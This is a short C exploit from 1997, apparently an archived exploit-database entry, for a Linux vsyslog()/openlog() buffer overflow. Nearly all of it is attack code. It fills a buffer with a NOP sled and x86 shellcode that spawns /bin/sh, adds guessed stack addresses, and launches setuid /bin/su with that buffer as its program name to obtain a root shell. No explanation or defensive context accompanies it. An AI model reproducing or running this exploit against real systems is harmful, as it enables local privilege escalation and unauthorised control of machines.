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Linux vsyslog() Buffer Overflow Vulnerability

/*
vsyslog()/openlog() exploit by BiT - 8/8 1997
Greets to: doodle, skaut, melon, kweiheri etc.
*/

#include <stdlib.h>
#include <unistd.h>

unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}

void main(int argc, char **argv)
{
unsigned char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
char *buf,*p;
unsigned long *adr;
int i;
if((p=buf=malloc(2028+28)) == NULL)
exit(-1);
memset(p,0x90,2028);
p+=2028-strlen(shell);
for(i=0;i<strlen(shell);i++)
*p++=shell[i];
adr=(long *)p;
for(i=0;i<7;i++)
*adr++=get_esp();
p=(char *)adr;
*p=0;
execl("/bin/su",buf,NULL);
}